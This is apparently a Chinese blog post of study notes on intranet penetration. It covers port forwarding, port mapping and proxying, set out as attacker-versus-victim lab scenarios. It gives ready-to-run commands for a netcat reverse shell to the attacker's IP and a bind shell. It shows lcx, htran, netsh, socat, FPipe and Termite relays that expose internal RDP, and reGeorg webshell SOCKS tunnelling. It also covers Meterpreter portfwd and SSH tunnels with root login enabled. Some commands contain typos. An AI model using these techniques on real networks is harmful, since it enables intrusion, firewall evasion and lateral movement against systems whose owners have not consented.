内网渗透之端口转发学习
内网渗透之端口转发&端口映射
声明:此篇文章乃自己看过的文章的总结,文章如下:
https://xz.aliyun.com/t/6349
https://mp.weixin.qq.com/s/FNCdKsPwu0_kD-4INn3faQ
端口转发:
端口转发,有时被叫做隧道,是安全壳为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络端口转发到另一个网络端口或从一个网络节点转发到另一个网络节点的行为
,其使一个外部用户从外部经过一个呗激活的NAT路由器到达一个在私有内部IP地址(局域网内网)上的一个端口
简要说明:端口转发就是将一个端口,这个端口可以本地的端口也可以是访问到任意主机的端口,转发到任意一台可以访问的IP上,通常这个IP是公网IP。
端口映射
将内网的端口映射到公网的某个端口,就是将这个端口的流量转发到公网主机上的某个端口。当别人访问这个被转发到公网上的端口,那么公网主机的被转发端口流量将发回给内网主机
两种不同的应用场景
端口映射:外网主机A想访问内网主机B上的服务
端口转发:外网主机A已经可以访问内网主机B里的任意端口,但是无法访问内网主机C上的端口,此时可以将C主机的端口转发到主机B端口,那么外网主机A访问了内网主机B就等于访问了内网主机C
区分正向与反向连接
- 正向连接:你的机器连接到目标机器
- 反向连接:目标机器反连你的机器
- 不论映射还是转发,都有正有反,原理相同
端口转发和代理工具
lcx
htran
netcat
…………….
内网常遇见到的状况
A攻击者
B内网主机
C内网主机
- .B能访问外网允许所有端口访问(罕见)
- .B只允许指定端口被访问,其他端口不允许访问
- .B能被A访问,但是C不能被直接访问
1.目标处于网络边界,内外网都可以访问,网络边界主机未安装防火墙,所有端口都对互联网开放,此类业务场景已经极少出现;
2.目标处于内网,可以访问外网,但是出口部署的有防火墙策略限制外部网络直接访问内网的敏感端口(3389、22、445等);
3.目标处于内网,不能访问外网,但是可以访问边界主机,防火墙策略限制外部网络直接访问内网的敏感端口(3389、22、445等)。
常见操作
环境:受害机内访问外网,允许所有端口被直接访问,攻击机处于外网
正向反向:反向
PS:这里的192.168.1.104为攻击机IP
攻击机执行:
nc -lvp 4444
受害机执行:
nc -e cmd 192.168.1.104 4444
环境:受害机内访问外网,允许所有端口被直接访问,攻击机处于内网
正向反向:正向
PS:这里的192.168.1.104属于受害机IP
受害机执行:
nc -lvp 4444 -e cmd
攻击机执行
nc 192.168.1.104 4444
环境:攻击机无法访问内网主机,但内网主机可以访问外网
IP:192.168.241.155 为内网主机
IP:192.168.1.104 为外网主机
内网主机执行:
lcx -slave [远程IP] [转发到的远程端口] [本机IP] [本机要转发的端口]
lcx -salve 192.168.1.104 4444 192.168.241.155 3389
外网主机执行
lcx -listen [监听的端口] [从接收到的数据的端口转发到另外一个端口]
lcx -listen 4444 5555
环境:攻击机可以直接访问到内网主机B,但是无法访问内网主机C
IP:192.168.241.155 为内网主机C
IP:192.168.241.129 为内网主机B
IP:192.168.1.104 为攻击机
在内网主机B执行
lcx -tran 4444 192.168.241.155 3389
在内网主机b连接本地的4444端口或公网访问192.168.241.129:4444
环境:攻击者可以直接访问内网机器B,当防火墙禁止3389连接。内网机器B也可以访问外网
IP:192.168.69.41 攻击机
IP:192.168.69.43 内网机器B
在内网机器B执行
Htran.exe -tran 4444 127.0.0.1 3389
将B的3389转为本地的4444端口
方法2:
攻击机执行
htran -p -listen 8888 9999
htran -p -listen [监听本机的8888端口] [将流量转发到本地的9999]
内网主机执行
htran -p -slave 192.168.69.43 8888 127.0.0.1 3389
htran -p -slave [攻击机IP] [攻击机所监听的端口] [本机IP] [本机要转发的端口]
在攻击机执行:
代理
代理(Proxy),也称网络代理,是一种特殊的网络服务,允许一个网端(一般为客户端)通过这个服务与另一个网络断(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击。
代理的分类
- HTTP代理
- SOCKS代理
- FTP代理
- Telnet代理
- SSL代理
区分正向代理和反向代理
正向代理中,proxy和client同属一个LAN,对Server透明
反向代理中,proxy和server同属一个LAN,对Client透明
一个代理的是客户端一个代理的是服务端
reGeorg+Proxychains代理
reGeorg下载地址:https://github.com/sensepost/reGeorg
根据对应的脚本类型将对应的脚本上传到目标机,注意php的要上nosocket.php的。然后访问该php出现Georg says,All seems fine
代理成功
使用的py2需要安装urllib3模块
在攻击机执行
python2 reGorgSocksProxy.py -u http://127.0.0.1:81/gg.php -p 8888
使用Proxifier代理指定的程序,比如我要通过代理来连接目标的3389.那么就设置代理mstsc
Proxifier下载地址:http://soft.onlinedown.net/soft/971579.htm
PHP必失败
EW和PS1那个就不测了,EW太老了,没的下载,ps1 powershell杀烂
端口转发和代理常用的工具
netsh端口转发
环境:内网主机没部署防火墙,可连接外网,任意端口可连
IP:192.168.1.104 攻击机
IP:192.168.241.155 受害机
在受害机执行
netsh add v4tov4 listenport=5555 connectaddress=192.168.241.155 connectport=3389
然后在外网连接IP:5555
netsh查看配置
netsh interface portproxy dump
删除命令
netsh interface portproxy delete v4tov4 listenport=5555
socat的使用
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。 socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。 socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。 socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。
安装socat
apt install socat
IP:192.168.241.152 kali
IP:192.168.241.155 windows server 2008
在kali执行
PS:监听5555端口的流量然后转发给192.168.241.155:3389端口
socat TCP4-LISTEM:5555,reuseaddr,fork TCP4:192.168.241.155:3389
访问192.168.241.152:5555就可以访问到RDP
Termite
工具在多种操作系统下均有Agent实现,由于代码为标准C实现,所以未来还将有更多的平台被支持。Agent节点可相互连接,进而形成一条树状管理拓扑,依赖该拓扑结构,使用者可实时管理拓扑中的任意主机节点。管理员可通过Admin程序,对拓扑中的任意节点进行管控,包括但不限于文件传输/控制台命令执行/开启远程 SOCKS5 代理服务/远程端口转发等功能。
IP:192.168.241.152 kali
IP:192.168.241.155 windows server 2008(跳板机)
IP:192.168.1.104 attack-windows7
在kali执行
./agent_Linux64 -l 5555
在2008执行
C:\Users\Administrator\Desktop\Termite>agent_Win32.exe -c 192.168.241.152 -p 555
5
在windows7执行
H:\端口转发_自己\Termite>admin_Win32.exe -c 192.168.241.152 -p 5555
然后记下kali,2008的ID
2008的ID
然后在attack设置节点2来做为跳板,将192.168.1.1的80端口映射到本机的4444端口
show #查看节点
goto 2 #设置节点
lcxtran 4444 192.198.1.1 80 #映射到本机
访问127.0.0.1:4444
wireshark抓到的包
反正我觉得复杂的一批….
FPipe的使用
环境:外网主机能访问内网主机B但不能访问内网主机C
FPipe.exe -l 4444 -r 80 192.168.251.254
Fpipe.exe -l [转发到本地的端口] -r [被转发的端口] [被转发的IP]
访问测试
meterpreter中的portfwd
在收到meterpreter中执行portfwd
portfwd add -l 3388 -r 192.168.241.155 -p 3389
portfwd add -l [转发到本地的端口] -r [目标的IP] -p [目标的端口]
连接本地的3388
ssh正向TCP端口加密转发
又称ssh本地端口转发。 SSH 会自动加密和解密所有SSH 客户端与服务端之间的网络数据。但是,SSH 还能够将其他TCP 端口的网络数据通过SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为SSH 为其他TCP 链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP,LDAP 这些TCP 应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输。而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH 的连接,也能够通过将TCP 端口转发来使用SSH 进行通讯。
修改/etc/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止 ssh 断开
PasswordAuthentication yes
PermitRootLogin yes
命令原型
ssh -CfNg -L 8080:127.0.0.1:2222 user@ip //VPS 本地访问VPS:8080就是内网的22端口
-C:该参数将使ssh压缩所有通过Secure Shell客户端发送的数据,包括输入、输出、错误消息及转发数据。它使用gzip算法,压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样,你可以利用配制文件针对每台主机配置这个参数。
-f:该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行),然后将连接送往后台。
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-N:不执行远程指令。
-R:远程转发
-L:本地转发
-D:动态转发,即socks代理
-p:指定远程ssh服务端口
-n:后台运行
-p:安静模式,不要显示任何debug信息
然后执行
service ssh start或service ssh restart
ssh -CfNg -L [本地端口]:[被转发的IP]:[被转发的端口] [ssh用户]@[IP]
ssh -CfNg -L 4444:192.168.241.155:3389 root@192.168.241.152
连接本地的4444端口
在说一遍:
此篇文章乃自己看过的文章的总结
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:内网渗透之端口转发学习
本文作者:九世
发布时间:2019-09-20, 01:58:49
最后更新:2019-09-20, 01:59:50
原始链接:http://jiushill.github.io/posts/1c51cbd7.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。